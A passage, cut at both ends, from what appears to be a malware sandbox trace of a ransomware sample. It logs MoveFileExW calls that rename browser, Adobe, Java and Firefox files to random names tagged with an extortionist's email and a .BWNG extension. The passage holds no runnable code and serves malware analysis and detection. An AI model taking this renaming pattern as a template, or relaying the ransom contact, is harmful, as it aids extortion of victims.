halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\[billwong73@yahoo.com].bz0tsyzb-hkox9hcp.bwng"), dwFlags=0x1) returned 1 [0127.723] GetTickCount () returned 0x11677c0 [0127.724] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26967575159) returned 1 [0127.724] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].f9cAnmMk-L9oRgIio.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].f9canmmk-l9orgiio.bwng"), dwFlags=0x1) returned 1 [0127.725] GetTickCount () returned 0x11677c0 [0127.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26967767754) returned 1 [0127.726] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].SX3ehsls-rQnG8zta.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].sx3ehsls-rqng8zta.bwng"), dwFlags=0x1) returned 1 [0127.727] GetTickCount () returned 0x11677c0 [0127.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26967953570) returned 1 [0127.728] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\[billwong73@yahoo.com].IhCMBze8-KtIDNGaw.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\[billwong73@yahoo.com].ihcmbze8-ktidngaw.bwng"), dwFlags=0x1) returned 1 [0127.729] GetTickCount () returned 0x11677c0 [0127.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26968135985) returned 1 [0127.729] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].MkRHIluP-zXsCUCy6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].mkrhilup-zxscucy6.bwng"), dwFlags=0x1) returned 1 [0127.731] GetTickCount () returned 0x11677c0 [0127.731] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26968299211) returned 1 [0127.731] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\[billwong73@yahoo.com].K6JrpmN9-PGOOLVIk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\[billwong73@yahoo.com].k6jrpmn9-pgoolvik.bwng"), dwFlags=0x1) returned 1 [0127.733] GetTickCount () returned 0x11677c0 [0127.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26968486943) returned 1 [0127.733] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\[billwong73@yahoo.com].mNQSizpG-0qY7Inji.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\[billwong73@yahoo.com].mnqsizpg-0qy7inji.bwng"), dwFlags=0x1) returned 1 [0127.735] GetTickCount () returned 0x11677cf [0127.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26968735638) returned 1 [0127.735] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\[billwong73@yahoo.com].xUzHlDx6-nz7mY6fB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\[billwong73@yahoo.com].xuzhldx6-nz7my6fb.bwng"), dwFlags=0x1) returned 1 [0127.737] GetTickCount () returned 0x11677cf [0127.737] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26968920539) returned 1 [0127.737] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\[billwong73@yahoo.com].UkeR6WRY-vxhJSD2m.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\[billwong73@yahoo.com].uker6wry-vxhjsd2m.bwng"), dwFlags=0x1) returned 1 [0127.739] GetTickCount () returned 0x11677cf [0127.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26969089090) returned 1 [0127.739] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\[billwong73@yahoo.com].B28ZSlUR-uvaqk7XS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\[billwong73@yahoo.com].b28zslur-uvaqk7xs.bwng"), dwFlags=0x1) returned 1 [0127.740] GetTickCount () returned 0x11677cf [0127.740] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26969260560) returned 1 [0127.741] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\[billwong73@yahoo.com].fF1Yleiy-be8QwEoT.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\[billwong73@yahoo.com].ff1yleiy-be8qweot.bwng"), dwFlags=0x1) returned 1 [0127.742] GetTickCount () returned 0x11677cf [0127.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26969456344) returned 1 [0127.743] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].lcayOEkY-wgFiqYA2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].lcayoeky-wgfiqya2.bwng"), dwFlags=0x1) returned 1 [0127.895] GetTickCount () returned 0x116786b [0127.895] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26984724768) returned 1 [0127.896] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\preferences"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].Dk54L6Kw-nZbpR6cX.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].dk54l6kw-nzbpr6cx.bwng"), dwFlags=0x1) returned 1 [0127.897] GetTickCount () returned 0x116786b [0127.897] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26984966405) returned 1 [0127.898] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\[billwong73@yahoo.com].bQDtp9LW-OYOFsydE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\[billwong73@yahoo.com].bqdtp9lw-oyofsyde.bwng"), dwFlags=0x1) returned 1 [0127.899] GetTickCount () returned 0x116786b [0127.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26985373449) returned 1 [0127.902] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\[billwong73@yahoo.com].lFCMYcry-ZCy1Myxe.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\[billwong73@yahoo.com].lfcmycry-zcy1myxe.bwng"), dwFlags=0x1) returned 1 [0127.903] GetTickCount () returned 0x116786b [0127.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26985574259) returned 1 [0127.904] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\[billwong73@yahoo.com].e5hqdTZC-NR76wHsh.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\[billwong73@yahoo.com].e5hqdtzc-nr76whsh.bwng"), dwFlags=0x1) returned 1 [0127.906] GetTickCount () returned 0x116787b [0127.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26985814095) returned 1 [0127.906] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\[billwong73@yahoo.com].ZUTjJdhl-IgOUhk8U.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\[billwong73@yahoo.com].zutjjdhl-igouhk8u.bwng"), dwFlags=0x1) returned 1 [0127.908] GetTickCount () returned 0x116787b [0127.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26986026639) returned 1 [0127.908] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\[billwong73@yahoo.com].ttf8Wu9L-CMKUMalR.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\[billwong73@yahoo.com].ttf8wu9l-cmkumalr.bwng"), dwFlags=0x1) returned 1 [0127.910] GetTickCount () returned 0x116787b [0127.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26986235278) returned 1 [0127.910] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\[billwong73@yahoo.com].IMiuigbO-V3xulnfK.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\[billwong73@yahoo.com].imiuigbo-v3xulnfk.bwng"), dwFlags=0x1) returned 1 [0127.912] GetTickCount () returned 0x116787b [0127.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26986425608) returned 1 [0127.912] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].XVatr9Cf-X4ytcnUR.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].xvatr9cf-x4ytcnur.bwng"), dwFlags=0x1) returned 1 [0127.914] GetTickCount () returned 0x116787b [0127.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26986577755) returned 1 [0127.914] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\[billwong73@yahoo.com].BRyBqWC7-Wg5cIiz6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\[billwong73@yahoo.com].brybqwc7-wg5ciiz6.bwng"), dwFlags=0x1) returned 1 [0127.915] GetTickCount () returned 0x116787b [0127.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26986738549) returned 1 [0127.915] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\update-settings.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].invdTCvt-VlUb8fpQ.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].invdtcvt-vlub8fpq.bwng"), dwFlags=0x1) returned 1 [0128.160] GetTickCount () returned 0x1167974 [0128.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27011389964) returned 1 [0128.162] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata"), lpNewFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\[billwong73@yahoo.com].18jZEpXe-RydikrIo.BWNG" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\[billwong73@yahoo.com].18jzepxe-rydikrio.bwng"), dwFlags=0x1) returned 1 [0128.164] GetTickCount () returned 0x1167974 [0128.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27011617671) returned 1 [0128.164] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].q2dFvo5l-7wdTHinF.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].q2dfvo5l-7wdthinf.bwng"), dwFlags=0x1) returned 1 [0128.166] GetTickCount () returned 0x1167974 [0128.166] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27011801763) returned 1 [0128.166] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].zwFveAVz-RcskIPCZ.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].zwfveavz-rcskipcz.bwng"), dwFlags=0x1) returned 1 [0128.167] GetTickCount () returned 0x1167974 [0128.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27011957438) returned 1 [0128.168] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\[billwong73@yahoo.com].9dj4rBG3-tw4fCcu0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\[billwong73@yahoo.com].9dj4rbg3-tw4fccu0.bwng"), dwFlags=0x1) returned 1 [0128.170] GetTickCount () returned 0x1167974 [0128.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27012180434) returned 1 [0128.170] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\addressbook.acrodata"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\[billwong73@yahoo.com].yixCkIYN-s2KBSTx0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\[billwong73@yahoo.com].yixckiyn-s2kbstx0.bwng"), dwFlags=0x1) returned 1 [0128.172] GetTickCount () returned 0x1167984 [0128.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27012409879) returned 1 [0128.172] MoveFileExW 